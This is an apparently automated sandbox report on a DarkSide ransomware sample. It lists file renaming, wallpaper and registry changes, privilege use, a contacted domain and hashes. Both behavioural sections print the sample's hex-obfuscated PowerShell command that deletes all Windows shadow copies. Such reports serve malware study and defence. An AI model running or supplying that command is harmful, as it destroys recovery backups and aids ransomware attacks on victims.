Malware Analysis Report

2024-10-16 03:30

Sample ID 220131-gphcrsgeb8
Target f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39
SHA256 f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39
Tags
darkside ransomware spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39

Threat Level: Known bad

The file f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39 was found to be: Known bad.

Malicious Activity Summary

darkside ransomware spyware stealer

DarkSide

Modifies extensions of user files

Reads user/profile data of web browsers

Suspicious use of NtSetInformationThreadHideFromDebugger

Sets desktop wallpaper using registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Modifies Control Panel

Modifies registry class

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-01-31 05:58

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-01-31 05:58

Reported

2022-01-31 07:34

Platform

win7-en-20211208

Max time kernel

118s

Max time network

118s

Command Line

"C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe"

Signatures

DarkSide

ransomware darkside

Modifies extensions of user files

ransomware
Description Indicator Process Target
File opened for modification C:\Users\Admin\Pictures\GroupOut.png.5bede5a3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\MeasureDebug.tiff.5bede5a3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\SkipPing.tiff C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\SkipPing.tiff.5bede5a3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\StartUndo.tiff.5bede5a3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File renamed C:\Users\Admin\Pictures\UndoRepair.raw => C:\Users\Admin\Pictures\UndoRepair.raw.5bede5a3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File renamed C:\Users\Admin\Pictures\SetRegister.raw => C:\Users\Admin\Pictures\SetRegister.raw.5bede5a3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\SetRegister.raw.5bede5a3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File renamed C:\Users\Admin\Pictures\SkipPing.tiff => C:\Users\Admin\Pictures\SkipPing.tiff.5bede5a3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\StartUndo.tiff C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File renamed C:\Users\Admin\Pictures\GrantAssert.crw => C:\Users\Admin\Pictures\GrantAssert.crw.5bede5a3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File renamed C:\Users\Admin\Pictures\GroupOut.png => C:\Users\Admin\Pictures\GroupOut.png.5bede5a3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File renamed C:\Users\Admin\Pictures\InitializeSet.raw => C:\Users\Admin\Pictures\InitializeSet.raw.5bede5a3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\InitializeSet.raw.5bede5a3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\MeasureDebug.tiff C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\GrantAssert.crw.5bede5a3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File renamed C:\Users\Admin\Pictures\MeasureDebug.tiff => C:\Users\Admin\Pictures\MeasureDebug.tiff.5bede5a3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File renamed C:\Users\Admin\Pictures\StartUndo.tiff => C:\Users\Admin\Pictures\StartUndo.tiff.5bede5a3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\UndoRepair.raw.5bede5a3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A

Reads user/profile data of web browsers

spyware stealer

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\5bede5a3.BMP" C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\5bede5a3.BMP" C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A

Modifies Control Panel

evasion
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\WallpaperStyle = "10" C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\5bede5a3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\5bede5a3\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\5bede5a3.ico" C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.5bede5a3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.5bede5a3\ = "5bede5a3" C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\5bede5a3\DefaultIcon C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeIncreaseQuotaPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeSystemtimePrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeUndockPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeManageVolumePrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: 34 N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe

"C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 securebestapp20.com udp
DE 3.64.163.50:443 securebestapp20.com tcp
DE 3.64.163.50:443 securebestapp20.com tcp
US 8.8.8.8:53 www.microsoft.com udp

Files

memory/1516-54-0x0000000075471000-0x0000000075473000-memory.dmp

memory/968-55-0x000007FEFB611000-0x000007FEFB613000-memory.dmp

memory/968-57-0x0000000002850000-0x0000000002852000-memory.dmp

memory/968-58-0x0000000002852000-0x0000000002854000-memory.dmp

memory/968-59-0x0000000002854000-0x0000000002857000-memory.dmp

memory/968-56-0x000007FEF26E0000-0x000007FEF323D000-memory.dmp

memory/968-60-0x000000000285B000-0x000000000287A000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 c9c7104a2b8844c15089b197424dbefb
SHA1 d900815a72d2abe1655807aa05529012a57cee42
SHA256 f1b91092f8d3b761b23bee1ad6391b0e754269516bb778ade3b63b6965f28004
SHA512 3a2e173b096a076bbfddd0450d6f76351f8b247c60fadaefe2ea094465e247fc11d40aa8b736ebc98bc969b7bec9a4a588f4605d185898dc005525ad3520b642

Analysis: behavioral2

Detonation Overview

Submitted

2022-01-31 05:58

Reported

2022-01-31 07:33

Platform

win10-en-20211208

Max time kernel

161s

Max time network

161s

Command Line

"C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe"

Signatures

DarkSide

ransomware darkside

Modifies extensions of user files

ransomware
Description Indicator Process Target
File renamed C:\Users\Admin\Pictures\BlockStep.crw => C:\Users\Admin\Pictures\BlockStep.crw.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File renamed C:\Users\Admin\Pictures\PopInitialize.crw => C:\Users\Admin\Pictures\PopInitialize.crw.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\PopInitialize.crw.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File renamed C:\Users\Admin\Pictures\UndoConfirm.raw => C:\Users\Admin\Pictures\UndoConfirm.raw.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\AddExport.crw.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\DisconnectRepair.raw.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File renamed C:\Users\Admin\Pictures\InstallUnblock.raw => C:\Users\Admin\Pictures\InstallUnblock.raw.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\InstallUnblock.raw.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\UndoConfirm.raw.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\BlockStep.crw.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\ConvertConnect.png.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\ConvertToSwitch.crw.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\ExportTest.tiff C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File renamed C:\Users\Admin\Pictures\ExportTest.tiff => C:\Users\Admin\Pictures\ExportTest.tiff.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File renamed C:\Users\Admin\Pictures\MoveResume.tif => C:\Users\Admin\Pictures\MoveResume.tif.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\MoveResume.tif.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File renamed C:\Users\Admin\Pictures\PopGrant.raw => C:\Users\Admin\Pictures\PopGrant.raw.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File renamed C:\Users\Admin\Pictures\AddExport.crw => C:\Users\Admin\Pictures\AddExport.crw.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File renamed C:\Users\Admin\Pictures\ConvertConnect.png => C:\Users\Admin\Pictures\ConvertConnect.png.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File renamed C:\Users\Admin\Pictures\ConvertToSwitch.crw => C:\Users\Admin\Pictures\ConvertToSwitch.crw.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File renamed C:\Users\Admin\Pictures\DisconnectRepair.raw => C:\Users\Admin\Pictures\DisconnectRepair.raw.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\ExportTest.tiff.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
File opened for modification C:\Users\Admin\Pictures\PopGrant.raw.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A

Reads user/profile data of web browsers

spyware stealer

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\08e0b4c3.BMP" C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\08e0b4c3.BMP" C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A

Modifies Control Panel

evasion
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Control Panel\Desktop\WallpaperStyle = "10" C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\08e0b4c3\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\08e0b4c3.ico" C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.08e0b4c3 C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.08e0b4c3\ = "08e0b4c3" C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\08e0b4c3\DefaultIcon C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeIncreaseQuotaPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeSystemtimePrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeRestorePrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeUndockPrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeManageVolumePrivilege N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: 33 N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: 34 N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: 35 N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: 36 N/A C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe

"C:\Users\Admin\AppData\Local\Temp\f764c49daffdacafa94aaece1d5094e0fac794639758e673440329b02c0fda39.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

Country Destination Domain Proto
US 52.109.8.21:443 tcp
US 8.8.8.8:53 securebestapp20.com udp
DE 3.64.163.50:443 securebestapp20.com tcp
NL 52.109.88.44:443 tcp
DE 3.64.163.50:443 securebestapp20.com tcp

Files

memory/4032-121-0x000001EEF4810000-0x000001EEF4832000-memory.dmp

memory/4032-126-0x000001EEF6AA0000-0x000001EEF6B16000-memory.dmp

memory/4032-138-0x000001EEDC730000-0x000001EEF4850000-memory.dmp

memory/4032-139-0x000001EEDC730000-0x000001EEF4850000-memory.dmp

memory/4032-140-0x000001EEDC730000-0x000001EEF4850000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 ea6243fdb2bfcca2211884b0a21a0afc
SHA1 2eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA256 5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512 189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 83485dce1084c2622e5b7e811de19522
SHA1 5b4a73ec6ae77a8d1e598d894a202c40f1cc8b2b
SHA256 245b075a9e2e0c8f2d76522649a8fc0e3104069ef9b0629817559be37befc959
SHA512 773f3225550c40096f1ec3b623e5dad22c6031daae1b2a8c6ff801d5769127ca6717280fd6b903412470760d0b80795e1bf42b82b38b66b64e4434b2d2b9c3ec